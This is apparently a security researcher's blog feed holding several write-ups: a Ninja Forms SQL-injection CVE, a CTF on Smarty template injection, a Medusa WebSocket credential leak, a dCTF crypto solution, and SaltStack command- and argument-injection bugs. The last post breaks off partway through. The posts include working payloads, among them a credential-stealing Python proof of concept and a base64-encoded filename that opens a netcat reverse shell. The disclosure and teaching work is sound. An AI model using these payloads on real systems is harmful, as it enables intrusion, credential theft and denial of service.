QuiRkyEmAil'/**/OR/**/1!='@stealthcopter.com

This would make the where clause of the SQL statement become the following:

WHERE m.meta_value = 'QuiRkyEmAil'/**/OR/**/1!='@stealthcopter.com'

This will result in every single row in the table being returned.

PHP / WordPress Validations

It's important to understand how sanitization and validation functions in WordPress and PHP handle potentially malicious email addresses. The WordPress function is_email does not adhere to the RFC standard and will reject email addresses containing single quotes. On the other hand, the sanitize_email function in WordPress, while still not fully conforming fully to the RFC, permits some special characters, including single quotes. In contrast, PHP's filter_var function with FILTER_VALIDATE_EMAIL is more aligned with the RFC standards and will allow all valid email addresses.

Exploitation

The data export process is typically manual and performed by an admin level user. This may seem unlikely to occur, however, under GDPR and other similar regulations data export requests must be performed upon requests from users.

CVE-2024-0685 Ninja Contact Forms Data Export SQLi

A succesfully exploit of this attack results in a data export containing all user data, posing a significant privacy and security risk as shown in the export below:

CVE-2024-0685 Ninja Contact Forms Data Export SQLi

Timeline

  • 17/01/24 ( 0 day) - Discovery and disclosure to WordFence
  • 18/01/24 (+1 day) - WordFence validated but marked as out of scope as an admin level user must perform the exploit
  • 19/01/24 (+2 days) - WordFence agreed to raise the impact due to the GDPR argument, giving a bounty of $165
  • 29/01/24 (+12 days) - Ninja Forms fix published (version 3.7.2)
  • 01/02/24 (+15 days) - Vulnerability Published

Conclusion

This vulnerability highlights the importance of sanitizing all user inputs, even those that developers might assume to be safe, like email addresses. It's a classic example of second-order SQL injection, where the exploit occurs not at the point of input but at a later stage in data handling. Developers should always use parameterized queries or prepared statements to prevent such vulnerabilities. This case serves as a reminder that security is a continuous process, requiring vigilance at every stage of development and data processing.

]]>
<![CDATA[Intigriti December CTF Challenge: Smarty Pants]]>I decided to dust off my hacking hat and delve back into CTF challenges with the Intigriti December challenge. Here's my write-up on the journey I had with this interesting puzzle, teaching me new tricks and reinforcing old skills.

Smart Pants AI Generated Image

Challenge 1223 by Protag

]]>
https://sec.stealthcopter.com/intigriti-december-challenge-smarty-pants/657c23e907365100010859aaThu, 21 Dec 2023 00:01:50 GMT

I decided to dust off my hacking hat and delve back into CTF challenges with the Intigriti December challenge. Here's my write-up on the journey I had with this interesting puzzle, teaching me new tricks and reinforcing old skills.

Intigriti December CTF Challenge: Smarty Pants
Smart Pants AI Generated Image

Challenge 1223 by Protag is based on a previous challenge from the Intigriti CTF featuring a simple PHP web app using Smarty templating with a regex filter for protection. This challenge could be solved by using a newline char to bypass the regex filter and perform server-side template injection (SSTI) in the Smarty template ({system('cat /flag.txt')}).

Intigriti December CTF Challenge: Smarty Pants

The Challenge

This challenge is identical to the previous challenge but with one simple addition to the regex. Now there is a s appended to the regex, and this changes everything. This now means that the . char will greedily match any chars including line breaks. So now we know it's probably not solved using a \n.

The application helpfully displays it's source code so you can see how neat and simple it is. You could be tricked into thinking it will be easy to spot the issue, but it was quite challenging!

<?php
if(isset($_GET['source'])){
    highlight_file(__FILE__);
    die();
}

require('/var/www/vendor/smarty/smarty/libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->setTemplateDir('/tmp/smarty/templates');
$smarty->setCompileDir('/tmp/smarty/templates_c');
$smarty->setCacheDir('/tmp/smarty/cache');
$smarty->setConfigDir('/tmp/smarty/configs');

$pattern = '/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/s';

if(!isset($_POST['data'])){
    $smarty->assign('pattern', $pattern);
    $smarty->display('index.tpl');
    exit();
}

// returns true if data is malicious
function check_data($data){
    global $pattern;
    return preg_match($pattern,$data);
}

if(check_data($_POST['data'])){
    $smarty->assign('pattern', $pattern);
    $smarty->assign('error', 'Malicious Inputs Detected');
    $smarty->display('index.tpl');
    exit();
}

$tmpfname = tempnam("/tmp/smarty/templates", "FOO");
$handle = fopen($tmpfname, "w");
fwrite($handle, $_POST['data']);
fclose($handle);
$just_file = end(explode('/',$tmpfname));
$smarty->display($just_file);
unlink($tmpfname);

Note that the full source with docker files can be downloaded from the Intigriti CTF page, just remember to add the s into the regex before running it.

Failed attempts

Despite knowing the newline character likely wasn't the key, I tried various approaches to bypass the {+.*} pattern matching Smarty template injection, including:

  • Exploring different line breaks and unusual characters.
  • Encoded, double encoded, Unicode chars for { and }, to see if they were decoded or normalized into their ASCII equivalents on file write. They weren't and researching into fwrite showed that it doesn't seem to do anything too wierd.
  • Attempting to overload preg_match by making data large. E.g. {AAA...AAA} with 1Mb of A's. Much more the 1Mb will trigger an apache error with entity too large, so we are somewhat limited here. Note that this idea wasn't far off the correct solution but I didn't know that at the time.
  • Finding something that would be executed during the smarty compilation phase before crashing with a syntax error of not finding the matching close braces }
  • Investigating if there were any Smarty templates that didn't use curly braces. Spoiler: there aren't any!"

It turns out that {+.*} combined with the s modifier is annoyingly good at catching any curley braces we can use to execute smarty templating. We're going to have to find a different route...

Side note: Secure File Deletion

While rabbit holing on another failed attempt I stumbled upon something I found interesting:

Deliberately crashing the smarty compiler so that the unlink statement was never executed would resulted in the uploaded file persisting. This gives us the ability to upload and persist arbitrary files in the template directory. When crashing the PHP web app helpfully discloses the absolute filename of the template too.

$tmpfname = tempnam("/tmp/smarty/templates", "FOO");
$handle = fopen($tmpfname, "w");
fwrite($handle, $_POST['data']);
fclose($handle);
$just_file = end(explode('/',$tmpfname));
$smarty->display($just_file);
unlink($tmpfname);

The following payload would be a valid PHP script that could execute system commands but also something that would crash the smarty compile due to the missing }.

<?php
system('id');
// {

This gives us ability to upload malicious PHP code, but unfortunately there is no local file inclusion (LFI) that we can use to leverage this, so this was a dead-end for exploitation. We also cannot upload any templates with smarty templating inside still because of the missing }.

However, it is somewhat interesting from an AppSec perspective. This deletion should happen regardless of if a crash occurs, otherwise it's a vulnerability just waiting to be chained with another. It's also a potential denial-of-service (DOS) avenue for someone to fill up our disk space. This can be easily solved using a try/finally block like so:

try {
    // Logic for file creation and writing
} finally {
    // This will execute even if a fatal error occurs in the try block
    unlink($tmpfname);
}

The Vulnerability

Before showing the working exploit lets dive into where the vulnerability is. Previous experiences have taught us that looking at the PHP docs can be extremely enlightening when trying to find vulnerabilities. Reading the PHP docs for preg_match reveals something quite interesting:

Intigriti December CTF Challenge: Smarty Pants
PHP Docs for preg_match showing possible return types

Currently the function and if statement are working correctly as preg_match has only returned the expected 1 or 0 to determine if there was a match. However, this documentation states that if we can cause preg_match to fail somehow we can get it to return a third value of false. Big shoutout to PHP for it's consistently inconsistent return types...

if(check_data($_POST['data'])){
  // Error if hacking detected
}

// Win

Due to the way it's written this if statement will trigger if the function returns anything truthy (1, true, non empty string, etc) and not if it returns anything falsy (0, false, empty string). So we can probably exploit this to bypass the regex check, we just need to figure out how to crash this regex function!

In exploring ways to crash the regex function, I delved into the concept of backtracking in regular expressions. Backtracking happens when a regex engine revisits previous parts of the input string to find different ways to match the pattern. In this scenario, the goal was to make the regex pattern so computationally expensive that it fails. By crafting a pattern that forces the regex engine to backtrack extensively, we can overwhelm it.

The trick lies in creating a string that partially matches the pattern but eventually fails, leading the engine down a rabbit hole of possible combinations. This is achieved by repeating a specific sequence of characters, like 'a', to a large extent – in this case I used 1 Mb. When the regex engine tries to match this long string against our complex pattern, it gets caught in an exponential explosion of possibilities, consuming significant resources and time. This heavy computational load eventually causes the function to fail, returning false instead of the usual 1 or 0. So by leveraging the intricacies of regex backtracking, we're able to craft an input that bypasses the regex check by sheer computational exhaustion.

Obviously testing against a remote server is tedious, as we have the source we can construct a tiny bit of code to experiment with locally. Here's what I did:

<?php

$data = "onmouseover" . str_repeat("a", 1048576) . "<'{system('ls')}";

$pattern = '/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/s';

function check_data($data){
    global $pattern;
    return preg_match($pattern,$data);
}

print(check_data($data)."\n");

if(check_data($data)){
  echo "Malicious Inputs Detected\n";
  exit();
}

echo "Hacked";

We can then test this against our locally running server, and the Intigriti challenge server to confirm that our payload works.

onmouseover<AAA...AAA{system('cat /flag.txt')}
Truncated payload showing the template injection. Note there are 1Mb of 'A's
Intigriti December CTF Challenge: Smarty Pants
Payload executing and printing the flag

Our payload has executed and run our arbitary commands to print the content of the flag.txt file: INTIGRITI{7h3_fl46_l457_71m3_w45_50_1r0n1c!}

Payload Optimization

The challenge is now solved, but can we stop there? No! For some reason I have to satisfy the itch to determine how small we can make the payload.

So we know the mouseover part in the payload isn't really required, that was just to illustrate what kind of thing the regex would typically be trying to find. It also turns out is the < is not required either, I originally figured that matching more of the regex's conditions would help cause more backtracking and aid us with our quest.

Experimenting with the number of padding chars showed that approx 0.5 Mb is needed to trigger the vulnerability. Here's a small Python script to generate a suitable payload:

cmd="cat /flag.txt"
padding=524288
template='{system(\''+cmd+'\')}'
print('on'+'A'*padding+template)
Python script to generate the payload

Summary

This was a challenging and fun CTF, so kudos to protag for both creating it and finding such an interesting vulnerability.

It wasn't just a great brain-teaser; it serves as a good reminder of the importance of consistent design in programming languages like PHP. It underscores how even small inconsistencies can lead to significant security vulnerabilities.

]]>
<![CDATA[CVE-2022-39841 Medusa's leaky WebSocket]]>https://sec.stealthcopter.com/cve-2022-39841/6314cbd7fffcb30001c49988Thu, 15 Sep 2022 09:00:00 GMTtldr;CVE-2022-39841 Medusa's leaky  WebSocket

A critical vulnerability in Medusa allows for information leakage, including plaintext credentials, by attaching to an unauthenticated WebSocket and waiting for a user to make a configuration change.

Affected Versions: All versions between 0.1.16-dev0 (2017) and 1.0.7 (2022)
CVSS Score: 9.8  
Links: Mitre, NVD
Proof of Concept: GitHub

CVE-2022-39841 Medusa's leaky  WebSocket
DALL·E rendering of Medusa + socket

Medusa

First, what is Medusa? This is best answered by quoting their own site:

[Medusa is an] Automatic Video Library Manager for TV Shows. It watches for new episodes of your favorite shows, and when they are posted it does its magic.
CVE-2022-39841 Medusa's leaky  WebSocket
Screenshot example showing Medusa web interface

Discovery

One of my favorite things to do is looking for bugs in code, so this weekend I decided to go bug hunting. Medusa is written in Python with a vue.js front end, so I used the SAST tool Bandit to quickly highlight any critical issues to review.

CVE-2022-39841 Medusa's leaky  WebSocket
Bandit scan results for Medusa

There were a few small things of interest here but it was mostly intended functionality of the application and all behind authentication. I spent some time experimenting, trying to chain together some of this functionality into something more meaningful like code execution.

What I really wanted to find were things that did not require authentication. I explored the static FileHandlers, where no auth is required and path traversal was possible but they were still restricted to specific directories.

That's when I noticed the definition for a WebSocket:

CVE-2022-39841 Medusa's leaky  WebSocket
Lines 251-253 define the WebSocket path

After looking at the WebSocketUIHandler, it didn't appear that there was anything in this call that required authentication.

Now it's time to see what this WebSocket is used for. To do this, I opened up Burp Proxy and started using the web application as normal to see what messages were sent.

Quickly, I noticed that it was used to send async updates to the page when settings change, on notifications and other events. One interesting thing here is that when the settings are updated, a lot of sensitive data is sent, including the plaintext credentials required to access the web application.

CVE-2022-39841 Medusa's leaky  WebSocket
Websocket communication in Burp showing the username and password in plaintext

This looked promising, and I confirmed in Burp that the authentication cookie was not required for the WebSocket to send messages. Let's take it to the next level.

Proof of Concept (PoC)

Any excuse to write a tidy little Python script, right? So to confirm my findings above, I got familiar with the websocket library to see if we could leak a username/password given and IP address and port of a running Medusa instance.

# Copyright (C) 2022 Mat Rollings
# https://github.com/stealthcopter/CVE-2022-39841

import json
import websocket

"""
This PoC script can point at an instance of Medusa that is password protected and
it will connect to the unauthenticated websocket it is running and wait for the
configuration to be changed and leak the username/password when it is.
"""

IP = '192.168.1.237'
PORT = 8083
WEBROOT = '/'

def on_message(ws, message):
    obj = json.loads(message)
    event = obj.get('event')
    data = obj.get('data')

    if event == 'configUpdated':
        section = data.get('section')
        config = data.get('config')

        if config:
            webinterface = config.get('webInterface', {})
            apiKey = webinterface.get('apiKey')
            username = webinterface.get('username')
            password = webinterface.get('password')

            print(f'{apiKey} {username} {password}')

            ws.close()

def on_error(ws, error):
    print(error)

def on_close(ws, close_status_code, close_msg):
    print("### closed ###")

def on_open(ws):
    print("### Opened connection ###")

ws = websocket.WebSocketApp(f"ws://{IP}:{PORT}{WEBROOT}ws/ui",
                            on_open=on_open,
                            on_message=on_message,
                            on_error=on_error,
                            on_close=on_close)

ws.run_forever(ping_interval=60)
PoC script to leak the plaintext credentials given an IP and port of a medusa instance.

You can see the latest and full script in the GitHub repo.

Exploit in action

Let's take it for a spin. We first need to modify the PoC by adding the IP address and Port of our docker instance we've setup for testing:

IP = '192.168.1.237'
PORT = 8083

We then run the exploit:

CVE-2022-39841 Medusa's leaky  WebSocket
The WebSocket library automatically handles the HTTP upgrade connection

If you've enabled trace debugging on the websocket library you will get to see the HTTP request and response for the HTTP upgrade request. This the the HTTP conversation that is responsible for setting up the WebSocket connection.

Now we open up the web interface for Medusa in a browser and log in. Then we go to any settings page and click save.

CVE-2022-39841 Medusa's leaky  WebSocket
Saving the configuration in the Medusa web interface

Shortly after this, Medusa will send the new configuration object over the WebSocket. The PoC script will receive this and leak the plaintext api key, username and password:

CVE-2022-39841 Medusa's leaky  WebSocket
PoC successfully leaking the plaintext credentials of admin:admin

Timeline

This was an incredibly fast responsible disclosure, with a fix ready, tested and merged within a day.

  • 03/09/22 - Vulnerability discovered
  • 04/09/22 - Vulnerability disclosed
  • 05/09/22 - Pull request with fix opened
  • 05/09/22 - Pull request merged into dev branch
  • 06/09/22 - Dev branch merged into master branch (release 1.0.8)
  • 15/09/22 - Vulnerability publicly disclosed (+12 days)

Summary

WebSockets are easy to overlook when considering authentication and authorization, which is likely how this vulnerability likely slipped under the radar for so long.

CVE-2022-39841 Medusa's leaky  WebSocket
"AUTH ALL THE THINGS" meme
]]>
<![CDATA[dCTF - Just Take Your Time]]>https://sec.stealthcopter.com/dctf-just-take-your-time/60a216ed0fa80000014431bcMon, 17 May 2021 07:29:51 GMT

dCTF - Just Take Your Time

Over the weekend I participated in dCTF by DragonSec SI along with some friends. There were some really interesting and unique challenges in this CTF.

Summary

This was a time-restricted python crypto challenge served over a socket. The first part was to solve a simple maths equation within two seconds. The second part was cracking a triple DES cipher that was initialized using time as the key, also within a two-second time limit.

Challenge Source

#!/usr/bin python3

from flag import flag
from Crypto.Cipher import DES3
from time import time
from random import randint
from secrets import token_hex
from pytimedinput import timedInput

guess = 3
TIMEOUT = 2

a = randint(1000000000000000, 9999999999999999)
b = randint(1000000000000000, 9999999999999999)

print("Show me you are worthy and solve for x! You have one second.")
print("{} * {} = ".format(a, b))

answ, _ = timedInput("> ", timeOut = 2, forcedTimeout = True)

try:
    assert(a*b == int(answ))
except:
    print("You are not worthy!")
    exit(1)

key = str(int(time()).zfill(16).encode("utf-8")
secret = token_hex(16)
cipher = DES3.new(key, DES3.MODE_CFB, b"00000000")
encrypted = cipher.encrypt(secret.encode("utf-8"))
print("You have proven yourself to be capable of taking on the final task. Decrypt this and the flag shall be yours!")
print(encrypted.hex())


start_time = time()
while(time() - start_time < TIMEOUT and guess > 0):
    delta = time() - start_time
    answ, _ = timedInput("> ", timeOut = TIMEOUT + 1 - delta, forcedTimeout = True)

    try:
        assert(secret == answ)
        break
    except:
        if answ != "":
            guess -= 1
            if (guess != 1):
                print("You are wrong. {} guesses remain.".format(guess))
            else:
                print("You are wrong. {} guess remains.".format(guess))

if (secret != answ):
    print("You have been unsuccessful in your quest for the flag.")
else:
    print("Congratulations! Here is your flag.")
    print(flag)
The challenge source code

Solution

The following solution uses pwntools to handle the connection to the server. The crux of the solution comes down to getting the same value for int(time()) as the server. Initially, I thought this could be problematic; however, I found it was correct when running the solution on the first attempt.

from pwn import *
from Crypto.Cipher import DES3
from time import time

def solve_maths(equ):
    a,b = equ.split('=')[0].replace(' ','').split('*')
    return int(a)*int(b)

def decrypt(t1, ct):
    key = str(t1).zfill(16).encode("utf-8")
    cipher = DES3.new(key, DES3.MODE_CFB, b"00000000")
    return cipher.decrypt(bytes.fromhex(ct))

c = remote('dctf-chall-just-take-your-time.westeurope.azurecontainer.io', 9999)
c.recvline()
equ = c.recvline()
print('Equ: {}'.format(equ))
solution = solve_maths(equ.decode("utf-8"))
print('Sol: {}'.format(solution))

t1 = int(time())
print('Time: {}'.format(t1))

c.sendline(str(solution))


if 'capable' not in c.recvline().decode("utf-8"):
    print('Failed...')
    exit()

ct = c.recvline().strip().decode("utf-8")

print('CT: {}'.format(ct))

for t in range(t1, t1+3):

    secret = decrypt(t, ct).decode("utf-8")

    print('Attempt: {} - {} - {}'.format(t, ct, secret))

    c.sendline(secret)

    if 'wrong' in c.recvline().decode("utf-8"):
        print('Wrong...')
    else:
        break

c.interactive()
The source code of one possible solution

Running this gives the following:

dCTF - Just Take Your Time
The solution in action

So now we have the flag, woo!

dctf{1t_0n1y_t0Ok_2_d4y5...}

]]>
<![CDATA[CVE-2021-31607 SaltStack Minion Privledge Escaltion in Snapper Module]]>https://sec.stealthcopter.com/saltstack-snapper-minion-privledge-escaltion/6061e251e6dabf00016bcb55Sat, 17 Apr 2021 11:40:52 GMTtldr;CVE-2021-31607 SaltStack Minion Privledge Escaltion in Snapper Module

I discovered a command injection vulnerability in SaltStack's Salt that allows privilege escalation using malicious filenames on a minion when the master calls snapper.diff. But... I was too slow! SaltStack had already fixed it almost a month earlier, and the source code I was looking at was out of date.

Affected Versions: All versions between 2016.9 and 3002.6
Links: Mitre, NVD

CVE-2021-31607 SaltStack Minion Privledge Escaltion in Snapper Module

As this is already fixed and pretty trivial to exploit, this post is going to be pretty brief compared to the previous posts I've done on SaltStack vulnerabilities (CVE-2020-28243 and CVE-2020-28243 (2)).

Prerequisites

  • Snapper is installed and configured on the minion (this requires a filesystem such as btrfs)
  • Master uses the snapper module to request a diff on a minion

The vulnerability

When the snapper module performs a diff between a snapshot and the current state, it first checks each file to see if it is a text file using the file command. But because the filename is passed directly into os.popen it can be easily be abused by anyone able to create a file.

def _is_text_file(filename):
    """
    Checks if a file is a text file
    """
    type_of_file = os.popen("file -bi {}".format(filename), "r").read()
    return type_of_file.startswith("text")
The vulnerable code

The exploit

The exploit is trivial to set up; we create a text file with a filename that contains a command injection. Here we will use $() to create a subshell:

echo hi > '$(touch HACKED).txt'
Proof of Concept exploit

Now the exploit is ready. Now we wait for the master to request a diff from the minion. This can be done using the following Salt command: salt '*' snapper.diff

Lets see it in action:

CVE-2021-31607 SaltStack Minion Privledge Escaltion in Snapper Module
Left: Master initiating snapper.diff Right: Performing the exploit on the minion

Now that we've got a proof of concept working, we can get full remote command execution using some base64'ing like so:

echo hi > '$(echo bmMgLWUgL2Jpbi9iYXNoIDEyNy4wLjAuMSA0NDQ0|base64 -d|sh -i).txt'
Example to get a reverse shell using a base64'ed command

The fix

The fix SaltStack went for replaces the os.popen with subprocess.run and now passes a list of arguments to prevent command injection. The filename passed into this can only ever be a single argument, and subshells are not supported by default in subprocess.run.

def _is_text_file(filename):
    """
    Checks if a file is a text file
    """
    type_of_file = subprocess.run(
        ["file", "-bi", filename],
        check=False,
        stdout=subprocess.STDOUT,
        universal_newlines=True,
    ).stdout
    return type_of_file.startswith("text")
The fixed SaltStack code

Note: It appears that this security fix actually broke the functionality as subprocess.STDOUT seems to cause an error: OSError: [Errno 9] Bad file descriptor. It should probably be replaced with subprocess.PIPE. I raised this as an issue here.

Conclusion

SaltStack detected this code as a potential vulnerability using a Bandit scan and fixed this almost a month before I found it. This was all done as part of a larger pull request where several potential vulnerabilities were fixed.

CVE-2021-31607 SaltStack Minion Privledge Escaltion in Snapper Module
Nooooooooooooooooooooooooo but also yes.

It's great to see SaltStack taking a proactive move to reduce their attack surface. However, in all my attempts to contact SaltStack about this vulnerability I was ignored, presumably they don't care as it was already fixed. Given the exploit was in the code base for almost 5 years I think it was important enough to warrant a CVE-ID.

]]>
<![CDATA[CVE-2020-28243 (2) SaltStack Minion Denial of Service via Argument Injection]]>https://sec.stealthcopter.com/cve-2020-28243-v2/60394c56e6dabf00016bc6f3Tue, 23 Mar 2021 20:00:00 GMTNote: This post builds upon an exploit from previous post here, that may be useful to read first.

tldr;

CVE-2020-28243 (2) SaltStack Minion Denial of Service via Argument Injection

Recently I disclosed a local privilege escalation, CVE-2020-28243, in SaltStack's Salt via specially crafted process names. However, due to an incomplete fix, argument injection leading to a low impact denial of service is still possible.

Affected Versions: All versions between 2016.3.0rc2 and 3002.5
CVSS Score: 2.8 Low
Announcement: SaltStack
Links: Mitre, NVD
Proof of Concept: CVE-2020-28243

CVE-2020-28243 (2) SaltStack Minion Denial of Service via Argument Injection

As with the previous post, this is going to be quite a long read, so I've added links to the specific sections you might be interested in:

Discovery

After SaltStack released the security fix for CVE-2020-28243, I looked at the diff to see how they had sanitized the package names to prevent command injection:

CVE-2020-28243 (2) SaltStack Minion Denial of Service via Argument Injection

At first glance, this all looks good with the following changes:

  • shell=True is removed, this will prevent command chaining or redirection using a control character like >, ||, &&, ; etc...
  • shlex, a command shell sanitizing library, is added in to attempt to sanitize the command

Vulnerability

However, the developer that added this fix has made an error with their usage of shlex that does not adequately protect again all types of injection. This is quite interesting, so let's create an example script and have a play:

import subprocess
import shlex

cmd_pkg_query = "dpkg-query -l "
package = "attacker controlled payload"

print(package)

cmd = cmd_pkg_query + package
cmd = shlex.split(cmd)

# Final command (as an array)
print(cmd)

# Run the command and print the output
paths = subprocess.Popen(cmd, stdout=subprocess.PIPE)
for line in paths.stdout.readlines():
  print(paths.stdout.readline())

Let's test this script with some payloads to see what the final command becomes. If we create the command with expect input, which is a legitimate package name, such as dpkg:

dpkg
['dpkg-query', '-l', 'dpkg']
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name           Version       Architecture Description
+++-==============-=============-============-=================================
ii  dpkg           1.20.5ubuntu2 amd64        Debian package management system
Result with expected input

Let's try with a command injection that worked previously, using control chars to execute new commands:

dpkg || whoami
['dpkg-query', '-l', 'dpkg', '||', 'whoami']
dpkg-query: no packages found matching ||
dpkg-query: no packages found matching whoami
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name           Version       Architecture Description
+++-==============-=============-============-=================================
ii  dpkg           1.20.5ubuntu2 amd64        Debian package management system
Result with a command injection that would have previously worked

Unfortunately this will no longer work because of the removal of shell=True causing the || to be interpreted as a string.

But what happens if the package name contains spaces?

dpkg but with extra hams
['dpkg-query', '-l', 'dpkg', 'but', 'with', 'extra', 'hams']
dpkg-query: no packages found matching but
dpkg-query: no packages found matching with
dpkg-query: no packages found matching extra
dpkg-query: no packages found matching hams
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name           Version       Architecture Description
+++-==============-=============-============-=================================
ii  dpkg           1.20.5ubuntu2 amd64        Debian package management system
Result with a package containing several spaces

Each space added to the variable we control results in an additional argument to dpkg-query rather than the package being passed as a single argument. This is probably an oversight by the developer who implemented the shlex.split fix as package names typically do not contain spaces.

You might be looking at this and thinking, so what? where's the vuln?

Well this can be used to perform argument injection into the dkpg-query command by inserting additional arguments that will be interpreted as options. For example, we could add the --load-avail and --no-pager to list all of the packages on a system.

"--load-avail --no-pager"
['dpkg-query', '-l', '--load-avail', '--no-pager']
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name                                             Version                                              Architecture Description
+++-================================================-====================================================-============-=======================================================================================================================
ii  accountsservice                                  0.6.55-0ubuntu13.3pop0                               amd64        query and manipulate user account information
...
[ truncated ~3000 lines]
...
ii  zsh-common                                       5.8-5                                                all          architecture independent files for Zsh
Result with a package that injects multiple argument (truncated)

Now we've managed to find something that will change the expected output of a single line to about 3000 lines, this will probably slow down SaltStack but not much else, let's see if we can do something better.

Argument Injection

As a quick aside lets talk about argument injection, this is an advanced form of command injection. Typical command injection can fail if subshells or redirection are blocked however argument injection may still work under the same conditions and even when sanitization occurs.

A successful argument injection relies upon the command in use having an argument that can be exploited in order to do something interesting. A typical use for command injection is abusing poorly written sudoers rules.

gtfobins is my go-to resource for easily finding out how to find potential command injections in common commands. Otherwise inspecting help messages and digging through man pages can be useful.

Exploit

Unfortunately, none of the arguments for either of the three command used by this module: dpkg, repoquery, or opkg appear to be useable to achieve command execution or even file write. If you can think of a way, I'd love to hear it, please get in touch!

But, there are several ways we can create a denial of service for each of them by forcing them to read from a file that we control.

fifo files

A First-In, First-Out (fifo) file is a special file in unix that once created must be opened at both ends simulatenously (read + write) to operate on it. These files can be created using the mkfifo command.

This means that anything trying to read a fifo file will hang until something opens it for writing. We can use this special file to cause a denial of service by getting a program to attempt to read from it.

Payloads

We can now combine the use of fifo files with argument injection for each of the three platforms. This results in payloads that will cause the package listing commands hang indefinitely.

mkfifo /tmp/status
dpkg-query -l --admindir=tmp
Exploit payload for dpkg-query

When the admindir is set dpkg-query will use a different directory and this attempts to read from a status file. As we are holding this file open with a fifo file it will cause the hang.

This can be done in a similar manner for both repoquery and opkg:

mkfifo /tmp/status
repoquery -l -c /tmp/status
Exploit payload for repoquery
mkfifo /tmp/status
opkg files -f /tmp/status
Exploit payload for opkg

However, the exploit we are using will not allow for forward slashes (/) so we will target only the dpkg-query command.

Exploit Script

We can reuse the exploit developed for the previous CVE. We have our helper.c program:

#include <stdio.h>
#include <stdlib.h>

void main() {
   FILE * fp;
   fp = fopen (" (deleted)", "w+");
   fprintf(fp, "SaltStack Argument Injection V2 Electric Bugaloo");
   sleep(20000);
   fclose(fp);
}

And the only bit that needs changing in the shell script is to add the creation of the fifo file before running our exploit script:

mkfifo /tmp/status
./exploit.sh -w /var/crash -c ' --admindir=tmp'

When the restartcheck is triggered by the master it will hang. Note that both the master and minion are not impacted by this denial of service, only the process calling the restartcheck.

Remediation

The solution SaltStack implemented avoids the need to use shlex to escape the command string as it builds an array that is passed to popen. This ensures that the package name can only ever be a single argument as spaces and quotes will be escaped automatically.

cmd = cmd_pkg_query[:]
cmd.append(package)
paths = subprocess.Popen(cmd, stdout=subprocess.PIPE)
Package is now safely escaped

This will protect against argument splitting and make most attacks unfeasible. SaltStack shared this solution before releasing the bugfix for approval. However, it still isn't quite perfect as we can still provide a single argument that could cause a denial of service:

--admindir=/tmp

There's one more thing we need to do to harden the fix:

End of Arguments

In many POSIX compatible commands -- indicates the end of options and all arguments that follow are positional only.

command -f -v -- -q --test

In the example above -f and -v would be passed as options but -q and --test would be passed as literal strings even though they begin with -.

We can use this to help further sanitize the commands by updating the cmd_pkg_query's so that it is impossible to provide any arguments after those already specified.

# Debian
cmd_pkg_query = ['dpkg-query', '--listfiles',  '--']

# RedHat
cmd_pkg_query = ['repoquery', '-l', '--']

# NILinuxRT
cmd_pkg_query = ['opkg', 'files', '--']
Better package commands to avoid argument injection

Together these two fixes will protect against both command and argument injection.

Timeline

Once again, SaltStack were professional and responded very fast. As this exploit's impact was minimal, we decided not to obtain a new CVE for this vulnerability, and SaltStack would release a bugfix to the current update. The whole timeline for discovery and disclosure can be seen below:

26 Feb 2021 — Vulnerability discovered
28 Feb 2021 — SaltStack notified
28 Feb 2021 — SaltStack confirmed and plan to release bugfix
23 Mar 2021 — Bug fix released

Summary

CVE-2020-28243 (2) SaltStack Minion Denial of Service via Argument Injection

Application security is hard. This vulnerability has highlighted just how easy it is for developers to make mistakes when implementing security fixes.

Sean pointed out that if SaltStack had used coordinated disclosure from the start, then this would have been picked up before going live. To SaltStack's credit, they did this the second time around, which led to additional hardening.

]]>
<![CDATA[CVE-2020-28243 SaltStack Minion Local Privilege Escalation]]>https://sec.stealthcopter.com/cve-2020-28243/5faed0f27bbb700001c95345Thu, 25 Feb 2021 19:00:00 GMTtldr;CVE-2020-28243 SaltStack Minion Local Privilege Escalation

I discovered a command injection vulnerability in SaltStack's Salt that allows privilege escalation via specially crafted process names on a minion when the master calls restartcheck.

Affected Versions: All versions between 2016.3.0rc2 and 3002.5
CVSS Score: 7.0 High
Announcement: SaltStack
Links: Mitre, NVD  
Proof of Concept: CVE-2020-28243

CVE-2020-28243 SaltStack Minion Local Privilege Escalation
Salt stacked on a spoon...

This is going to be a longish post (for me) so for those with an attention span as short as mine you may want to skip ahead to a specific section that interests you:

SaltStack Salt

SaltStack Salt is a popular tool used to automate and secure infrastructure. Its usage is split into two roles: one system is set up as the master and is responsible for controlling those systems that connect to it. One or more systems are then set up as minions that connect to the master and respond to any commands it issues.

Both master and minions are typically run as root on the systems they are installed on.

Discovery

Whilst looking at the source code for SaltStack for one of the previously disclosed vulnerabilities at work, I decided to run the source code through Bandit, a security scanner for Python applications to see how many issues it would find.

I was expecting to see quite a few results, as it has a relatively large codebase and has existed for several years. However, as can be seen in the screenshot below Bandit showed even more issues than I was expecting including 117 high severity issues.

CVE-2020-28243 SaltStack Minion Local Privilege Escalation
Bandit's report for SaltStack Salt

Of course, many of these issues are false positives or of little importance to us, and it can take significant time to parse through all the data. For a quick win, I decided to focus my time researching some potential command injections due to several instances of subprocess.Popen used in conjunction with shell=True in the codebase.

After looking at a few of these that turned out not to be in any way controllable I found one that could be controlled via some clever trickery using process names.

CVE-2020-28243 SaltStack Minion Local Privilege Escalation
This is the vulnerability we're looking for

Vulnerability

The minion's restartcheck is vulnerable to command injection via a crafted process name when this process has open file descriptors associated with (deleted) at the end of a filename (note the leading space is required). This allows for a local privilege escalation to root from any user able to create files on the minion in a directory that is not explicitly forbidden.

Vulnerable Code

